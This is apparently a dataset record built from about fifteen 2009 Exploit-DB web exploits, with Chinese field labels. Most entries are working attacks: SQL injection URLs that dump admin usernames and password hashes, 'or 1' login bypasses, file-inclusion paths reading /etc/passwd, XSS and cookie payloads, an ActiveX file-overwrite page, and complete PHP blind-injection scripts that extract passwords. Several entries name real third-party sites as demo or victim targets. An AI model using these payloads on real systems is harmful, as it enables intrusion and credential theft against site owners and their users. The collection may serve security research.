QLWD/code_shield huggingface dataset:
标题: Joomla! Component Gigcal 1.x - 'id' SQL Injection EDB-ID: 7815 CVE: 2009-0730 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-18 漏洞利用脚本: *****************************************************************************
*                                    *
*           Joomla Component Gigcal SQL Injection Vulnerability             *
*                                     *
*****************************************************************************

***************************************
[=] Vulnerability found by: Lanti-Net
[=] Contact: lanti-net[at]hotmail[dot]com
[=] Site: www.khg-crew.ws
[=] Greetz: boom3rang, KHG, urtan, H!tm@N , war_ning, chs, redc00de , SpYrO
[=]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-
***************************************
[=] Exploit  : /index.php?option=com_gigcal&Itemid=78&id={SQL}
[=] Example  : /index.php?option=com_gigcal&Itemid=78&id=-999+union+all+select+1,2,3,4,5,6,7,8,9,concat(username,char(58),password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users/*
[=] Live Demo: http://www.fermaten.dk/index.php?option=com_gigcal&Itemid=78&id=-999+union+all+select+1,2,3,4,5,6,7,8,9,concat(username,char(58),password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+jos_users/*
***************************************
[=] Proud 2 be Albanian
[=] Proud 2 be Muslim
[=] United States of Albania
***************************************

# milw0rm.com [2009-01-18] URL: https://www.exploit-db.com/exploits/7815
标题: Rankem - File Disclosure / Cross-Site Scripting / Cookie EDB-ID: 7805 CVE: 2009-0249 2009-0248 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-16 漏洞利用脚本: #########################################################
---------------------------------------------------------
Portal Name: RankEm
Download : http://www.katywhitton.com/downloads/rankEm/rankEmDL.zip
Author : Pouya_Server , Pouya.s3rver@Gmail.com
Vulnerability : (DD/XSS/CM)
---------------------------------------------------------
#########################################################
[DD]:
http://site.com/[Path]/database/topsites.mdb
[XSS]:
http://site.com/rankup.asp?siteID=<script>alert(1369)</script>
[CM]:
http://site.com/rankup.asp?siteID=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>
---------------------------------
Victem :
http://www.top50.co.nz

# milw0rm.com [2009-01-16] URL: https://www.exploit-db.com/exploits/7805
标题: The Walking Club - Authentication Bypass EDB-ID: 7802 CVE: 2009-0281 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-16 漏洞利用脚本: #----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]The Walking Club (Auth Bypass)

[~]Script        : The Walking Club

[~]Price         : $39   :) 

[~]Demo          : http://warhound.com/ASP/walking/login.aspx

[~]Details       : http://warhound.com/asp/products.htm
#############################################
[~]Admin     :  [PATH] /walking/login.aspx

[~]username  : ' or '1

[~]password  : ' or '1
#############################################
[~]Ä°ÅŸinize BaqÄ±n :=)

[~]Greetz For C4TEAM Members
#############################################
Derdimi dinledim, derdimden Ä°ÄžRENDÄ°M...
Onun derdini gÃ¶rdÃ¼m, derdime Ä°MRENDÄ°M...
----------
FilistiN

# milw0rm.com [2009-01-16] URL: https://www.exploit-db.com/exploits/7802
标题: Free Bible Search PHP Script - SQL Injection EDB-ID: 7798 CVE: 2009-0327 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-15 漏洞利用脚本: #Free Bible Search PHP Script (readbible.php) SQL Injection Vulnerability


#Author: nuclear


#site:
http://www.seraphimtech.net/?q=node/6


#vuln:
http://localhost/[path]/readbible.php?version=kjv%20union%20select%20@@version--

#demo:
http://www.lordblessthee.com/bible/readbible.php?version=kjv%20union%20select%20@@version--

#greetz Mi4night, cAs, zYzTeM, THE_MAN, Pepe, I-O-W-A, Digitalfortress, DiGitalX, sys32-hack, sys32r, Whitestar 

# milw0rm.com [2009-01-15] URL: https://www.exploit-db.com/exploits/7798
标题: eReservations - Authentication Bypass EDB-ID: 7801 CVE: 2009-0252 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-16 漏洞利用脚本: #----C4TEAM.ORG---ByALBAYX----C4TEAM.ORG----#
#############################################
[~]Author   : ByALBAYX

[~]Website  : WWW.C4TEAM.ORG
#############################################
[~]eReservations (Auth Bypass)

[~]Script        : eReservations

[~]Price         : $249.95  save $50.00   :) 

[~]Demo          : http://reservations.enthrallweb.us/Login.asp

[~]Details       : http://enthrallweb.com/detail.asp?productID=16
#############################################
[~]username  : ' or '1

[~]password  : ' or '1
#############################################
[~]Ä°ÅŸinize BaqÄ±n :=)

[~]Greetz For C4TEAM Members
#############################################
Derdimi dinledim, derdimden Ä°ÄžRENDÄ°M...
Onun derdini gÃ¶rdÃ¼m, derdime Ä°MRENDÄ°M...
----------
FilistiN

# milw0rm.com [2009-01-16] URL: https://www.exploit-db.com/exploits/7801
标题: Blue Eye CMS 1.0.0 - 'clanek' Blind SQL Injection EDB-ID: 7797 CVE: 2009-0425 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-15 漏洞利用脚本: --+++===============================================================+++--
--+++====== Blue Eye CMS <= 1.0.0 Blind SQL Injection Exploit ======+++--
--+++===============================================================+++--


<?php

function usage ()
{
 echo
  "\n[+] Blue Eye CMS <= 1.0.0 Blind SQL Injection Exploit".
  "\n[+] http://kent.dl.sourceforge.net/sourceforge/blueeyecms/blue_eye_cms-1_0_0_preRC.rar".
  "\n[+] Author: darkjoker".
  "\n[+] Site  : http://darkjoker.net23.net".
  "\n[+] Usage : php xpl.php <hostname> <path> <username>".
  "\n[+] Ex.   : php xpl.php localhost /BlueEye admin".
  "\n\n";
 exit ();
}

function query ($user, $pos, $chr)
{
 $query = "x' OR ASCII(SUBSTRING((SELECT password FROM blueeye_users WHERE user = '{$user}'),{$pos},1))={$chr} OR '1' = '2";
 $query = str_replace (" ", "%20", $query);
 $query = str_replace ("'", "%27", $query);
 return $query;
}

function decrypt ($hash)
{
 $sha1 = unpack ("H*", base64_decode ($hash));
 return $sha1 [1];
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
 $fp = fsockopen ($hostname, 80);
 $chr = ord ($chr);
 $query = query ($user, $pos, $chr);

 $get = 
  "GET {$path}/index.php?clanek={$query} HTTP/1.1\r\n".
  "Host: {$hostname}\r\n".
  "Connection: Close\r\n\r\n";
 fputs ($fp, $get);

 while (!feof ($fp))
  $reply .= fgets ($fp, 1024);
 
 fclose ($fp);

 preg_match ("/Autor: (.+?)<br>/", $reply, $x);
 if (empty ($x [1]))
  return false;
 else
  return true;
}

if ($argc != 4)
 usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
$pos = 1;
$chr = 0;
echo "\n[+] Finding password: ";
while ($chr < strlen  ($key))
{
 if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
 {
  $pass .= $key [$chr];
  echo $key [$chr];
  $chr = -1;
  $pos++;
 }
 $chr++;
}
echo "\n[+] sha1 Hash: ";
echo decrypt ($pass) . "\n\n";

?>

# milw0rm.com [2009-01-15] URL: https://www.exploit-db.com/exploits/7797
标题: Joomla! Component RD-Autos 1.5.5 - SQL Injection EDB-ID: 7795 CVE: 2009-0420 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-15 漏洞利用脚本: #############################################################################
#                           #
#           Joomla Component RDAutos SQL Injection Vulnerability            #
#                           #
#############################################################################


########################################

[~] Vulnerability found by: H!tm@N
[~] Contact: khghitman[at]gmail[dot]com
[~] Site: www.khg-crew.ws
[~] Greetz: boom3rang, KHG, urtan, war_ning, chs, redc00de 
[~]         -=[Kosova Hackers Group]=--=[KHG-Crew]=-

########################################

[~] ScriptName:     "Joomla"
[~] Component:      "RDAutos (com_rdautos)"
[~] Version:        "1.5.5 Stable" 
[~] Date:           "29/09/2008"
[~] Author:         "Robert Dam"
[~] Author E-mail:  "info@rd-media.org"
[~] Author URL:     "www.rd-media.org"

########################################

[~] Exploit /index.php?option=com_rdautos&view=category&id=[SQL]&Itemid=54
[~] Example /index.php?option=com_rdautos&view=category&id=-1+union+select+concat(username,char(58),password)+from+jos_users--&Itemid=54

########################################

[~] Proud 2 be Albanian
[~] Proud 2 be Muslim
[~] United States of Albania

########################################

# milw0rm.com [2009-01-15] URL: https://www.exploit-db.com/exploits/7795
标题: GNUBoard 4.31.03 (08.12.29) - Local File Inclusion EDB-ID: 7792 CVE: 2009-0290 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-15 漏洞利用脚本: GNUBoard V4.31.03 (08.12.29) Local/Remote File Include Vulnerability
BY flyh4t#hotmail.com
Thx to qiuren/rayt
TEAM:Wolves Security Team
SITE:http://bbs.wolvez.org/

/*************************

SIR GNUBoard (VERSION 4.31.03 (08.12.29))is a widely used bulletin board system of Korea.
It is freely available for all platforms that supports PHP and MySQL.
But we find a file include vulnerability affects SIR GNUBoard.
In special conditions,it may be used as a remote file include vulnerability .
This issue  to  execute arbitrary  PHP code on an affected computer with the privileges of the affected Web server.
Here is the details:

**************************/
TEST ON VERSION 4.31.03 (08.12.29)

/***************************
/common.php

@extract($_GET);
@extract($_POST);
@extract($_SERVER);

â€¦â€¦

if (!$g4_path || preg_match("/:\/\//", $g4_path))
    die("<meta http-equiv='content-type' content='text/html; '><script language='JavaScript'> alert('wrong.'); </script>");
   
//if (!$g4_path) $g4_path = ".";
//it's not allow char :// in $g4_path
$g4['path'] = $g4_path;

unset($g4_path);

include_once("$g4[path]/lib/constant.php");  //file include
include_once("$g4[path]/config.php");  
include_once("$g4[path]/lib/common.lib.php");

*************************/

poc:
http://test.com/GnuBoard/common.php?g4_path=../../../../../../etc/passwd%00

when the site meets PHP >= 5.2.0&allow_url_include = On, we  can  use php data bypass preg_match("/:\/\//", $g4_path)
it's became a Remote File Include Vulnerability

poc:
/*************************

bypass_local.php
<?php
//coded by qiuren
if (!$g4_path || preg_match("/:\/\//", $g4_path))
    die("fuck");
$g4['path'] = $g4_path;
unset($g4_path);
include_once("$g4[path]/lib/constant.php");
?>

bypass_local.php?g4_path=data:;base64,PD9waHBpbmZvKCk7Lyo=

phpinfo() can be executed
***************************/

# milw0rm.com [2009-01-15] URL: https://www.exploit-db.com/exploits/7792
标题: Joomla! Component com_Eventing 1.6.x - Blind SQL Injection EDB-ID: 7793 CVE: 2009-0421 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-15 漏洞利用脚本: <?php
ini_set("max_execution_time",0);
print_r('
##############################################################################
#
#                Joomla com_Eventing Blind SQL Injection Exploit
#
#                             ===  Cyb3R-1st  ===
#                           cyb3r-1st@hormail.com
#                      == Writing by Stack - thx m8 - ==
#
# usage : php file.php "http://site.me/index.php?option=com_eventing&catid=1"
#
##############################################################################
');
if ($argc > 1) {
$url = $argv[1];
$r = strlen(file_get_contents($url."+and+1=1--"));
echo "\nExploiting:\n";
$w = strlen(file_get_contents($url."+and+1=0--"));
$t = abs((100-($w/$r*100)));
echo "Username: ";
for ($i=1; $i <= 30; $i++) {
$laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$i.",1))!=0--"));
   if (abs((100-($laenge/$r*100))) > $t-1) {
      $count = $i;
      $i = 30;
   }
}
for ($j = 1; $j < $count; $j++) {
   for ($i = 46; $i <= 122; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+username+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 122;
      }
   }
}
echo "\nPassword: ";
for ($j = 1; $j <= 49; $j++) {
   for ($i = 46; $i <= 102; $i=$i+2) {
      if ($i == 60) {
         $i = 98;
      }
      $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".$i."--"));
      if (abs((100-($laenge/$r*100))) > $t-1) {
         $laenge = strlen(file_get_contents($url."+and+ascii(substring((select+password+from+jos_users+limit+0,1),".$j.",1))%3E".($i-1)."--"));
         if (abs((100-($laenge/$r*100))) > $t-1) {
            echo chr($i-1);
         } else {
            echo chr($i);
         }
         $i = 102;
      }
   }
}
} 
?>

# milw0rm.com [2009-01-15] URL: https://www.exploit-db.com/exploits/7793
标题: DMXReady Secure Document Library 1.1 - SQL Injection EDB-ID: 7787 CVE: 2009-0428 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-14 漏洞利用脚本: *******************************************************************************
# Title   :  DMXReady Secure Document Library <= 1.1 Remote SQL Injection Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  189.97 $
# Dork    :  inurl:inc_securedocumentlibrary.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_securedocumentlibrary.asp&btnG=Ara&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=[SQL Inject]

You Find-> http://[target]/[path]/applications/SecureDocumentLibrary/inc_securedocumentlibrary.asp
Edit    -> http://[target]/[path]/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=
[SQL Inject]


Example:

USERNAME->
/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig

PASSWORD->
/admin/SecureDocumentLibrary/MembersAreaManager/components/CategoryManager/upload_image_category.asp?cid=-12321 union select 2,Security_AdminPassword,4,5,6,0 from tblConfig

Admin Login->
/admin/SecureDocumentLibrary/admin.asp

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14] URL: https://www.exploit-db.com/exploits/7787
标题: PHP Photo Album 0.8b - 'preview' Local File Inclusion EDB-ID: 7786 CVE: 2009-0423 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-14 漏洞利用脚本: [START]

###################################################################################################################################
[0x01] Informations:

Script         : Php Photo Album 0.8 BETA
Download       : http://sourceforge.net/project/downloading.php?group_id=151573&use_mirror=kent&filename=PHPPA_.9_BETA.zip&37834145
Vulnerability  : Local File Inclusion
Author         : Osirys
Contact        : osirys[at]live[dot]it
Website        : http://osirys.org
Notes          : Proud to be Italian


###################################################################################################################################
[0x02] Bug: [Local File Inclusion]
######

Bugged file is: /[path]/index.php

[CODE]

$skin_temp = $_GET['preview'];
if(isset($_GET['preview']) && file_exists("./skin/$skin_temp/config.php")){
 $skin = $_GET['preview'];
 }
else{
 $skin = vari("skin");
 }
require("./skin/$skin/config.php");

[/CODE]

If 'preview' from GET is provided, we can include it just bypassing a stupid cheek.
file_exists("./skin/$skin_temp/config.php) <-- this cheek is stupid, becouse when
we set a value to $skin_temp , if we set a local file with a directory trasversal
it's obvious that the file exists, so it will be included.

[!] FIX: Use another filter instead of file_exists("./skin/$skin_temp/config.php)
         Just filter $skin_temp before include it. A fix could be to declare $skin
         with a standard or local value, or just put the allowed values in an array,
         and cheek then if the skin provided is allowed. See is_in_array() function


[!] EXPLOIT: /[path]/index.php?preview=[local_file]%00
                                       ../../../../../../../../../../../../etc/passwd%00

###################################################################################################################################

[/END]

# milw0rm.com [2009-01-14] URL: https://www.exploit-db.com/exploits/7786
标题: phpList 2.10.8 - Local File Inclusion EDB-ID: 7778 CVE: 2009-0422 类型: WEBAPPS 平台: PHP 发布日期: 2009-01-14 漏洞利用脚本: ########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: phpList Local File inclusion
# Vendor: http://www.phplist.com
# Bug: Local File Inclusion
# Vulnerable Version: 2.10.8 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_60.htm
###################################################################


####################
- Description:
####################

Quote From vendor:"phplist is an open-source newsletter manager. phplist is free to download, install and use, and is easy to integrate with any website.
phplist is downloaded more than 10 000 times per month and is listed in the top open source projects for vitality score on Freshmeat.
phplist is sponsored by tincan."


####################
- Vulnerability:
####################

+--> Local File Inclusion

Because of the vulnerability in "admin/index.php", When "register_globals" is disabled (Default PHP Configuration) It is possible for remote attackers to
include arbitrary files from local resources before performing authentication.

Code Snippet:
/lists/admin.php #line:10-18

if (!ini_get("register_globals") || ini_get("register_globals") == "off") {
  # fix register globals, for now, should be phased out gradually
  # sure, this gets around the entire reason that regLANGUAGE_SWITCHister globals
  # should be off, but going through three years of code takes a long time....

  foreach ($_REQUEST as $key => $val) {
    $$key = $val;
  }
}

/lists/admin.php #line:41-56

if (isset($_SERVER["ConfigFile"]) && is_file($_SERVER["ConfigFile"])) {
  print '<!-- using '.$_SERVER["ConfigFile"].'-->'."\n";
  include $_SERVER["ConfigFile"];
} elseif (isset($cline["c"]) && is_file($cline["c"])) {
  print '<!-- using '.$cline["c"].' -->'."\n";
  include $cline["c"];
} elseif (isset($_ENV["CONFIG"]) && is_file($_ENV["CONFIG"])) {
#  print '<!-- using '.$_ENV["CONFIG"].'-->'."\n";
  include $_ENV["CONFIG"];
} elseif (is_file("../config/config.php")) {
  print '<!-- using ../config/config.php -->'."\n";
  include "../config/config.php";
} else {
  print "Error, cannot find config file\n";
  exit;
}

####################
- POC:
####################

http://www.example.com/lists/admin/index.php?_SERVER[ConfigFile]=../.htaccess

####################
- Credit:
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2009-01-14] URL: https://www.exploit-db.com/exploits/7778
标题: AAA EasyGrid ActiveX 3.51 - Remote File Overwrite EDB-ID: 7779 CVE: 2009-0134 类型: REMOTE 平台: WINDOWS 发布日期: 2009-01-14 漏洞利用脚本: =======================================================================================<br>
Author: Houssamix               <br>
=======================================================================================<br>
- Viva Gazza - Viva Palestine -              <br>
AAA EasyGrid ActiveX  v 3.51 Remote File Overwrite exploit          <br>
Download : http://www.share2.com/easygrid/download.htm            <br>

 Tested on Windows XP Professional SP2 , with Internet Explorer 6         <br>

Note : DoSaveHtmlFile() is vuln to , it well overwitten the file with some html code   <br>
=======================================================================================<br>
<HTML>
<BODY>
 <object id=hsmx classid="clsid:{DD44C0EA-B2CF-31D1-8DD3-444553540000}"></object>

<SCRIPT>

function hehe()
 {
     File = "c:\\hsmx.txt"
   hsmx.DoSaveFile(File)
 }

</SCRIPT>
<input language=JavaScript onclick=hehe() type=button value="execute exploit"><br>
</body>
</HTML>
=======================================================================================

# milw0rm.com [2009-01-14] URL: https://www.exploit-db.com/exploits/7779
标题: DMXReady Member Directory Manager 1.1 - SQL Injection EDB-ID: 7773 CVE: 2009-0427 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-14 漏洞利用脚本: *******************************************************************************
# Title   :  DMXReady Member Directory Manager <= 1.1 SQL Injection Vulnerability
# Author  :  ajann
# Contact :   :( 
# S.Page  :  http://www.dmxready.com
# $$      :  99.97 $
# Dork    :  inurl:inc_memberdirectorymanager.asp
# DorkEx  :
http://www.google.com.tr/search?hl=tr&q=inurl%3Ainc_memberdirectorymanager.asp&meta=

****Stop Attack ABD and ISRAEL !


*******************************************************************************

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=[SQL Inject]

You Find-> http://[target]/[path]/applications/MemberDirectoryManager/inc_memberdirectorymanager.asp
Edit     -> http://[target]/[path]/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=[SQL Inject]


Example:

USERNAME->
/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminUserName,4,3,2,1 from tblMDM_config

PASSWORD->
/admin/MemberDirectoryManager/components/CategoryManager/upload_image_category.asp?cid=-1231312 union select 6,Security_AdminPassword,4,3,2,1 from tblMDM_config

Admin Login->
/admin/MemberDirectoryManager/admin.asp

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2009-01-14] URL: https://www.exploit-db.com/exploits/7773
标题: Netvolution CMS 1.0 - Cross-Site Scripting / SQL Injection EDB-ID: 7761 CVE: 2009-5103 2009-5102 类型: WEBAPPS 平台: ASP 发布日期: 2009-01-14 漏洞利用脚本: ###############################################
Found By : Ellinas aka Greek                                                  
Email: ellinas.security@gmail.com                            
Vulnerable Product: CMS netvolution v1.0                   
website  : www.netvolution.net , www.atcom.gr           
##############################################

SQL Injection

Version Finding:

http://site/default.asp?pid=8&la=1&bpe_ac=2&bpe_nid=100%20AND%20SUBSTRING(@@version,1,130)=5


Password Finding:

http://site/default.asp?pid=8&la=1&bpe_ac=2&bpe_nid=101%20AND%20
(select%20(substring(userPassword,1,10000))%20FROM%20cms_Users%20where%20userID=4)%20%3E%20608


Username Finding:

http://site/default.asp?pid=8&la=1&bpe_ac=2&bpe_nid=101%20
AND%20(select%20(substring(userName,1,10000))%20FROM%20cms_Users%20where%20userID=4)%20%3E%20608

Cross Site Scripting

Set the variable email to >"><ScRiPt%20%0a%0d>alert(XSS)%3B</ScRiPt>


************************
Many Greetings to:
                            
All Greek Hackers.
*************************

# milw0rm.com [2009-01-14] URL: https://www.exploit-db.com/exploits/7761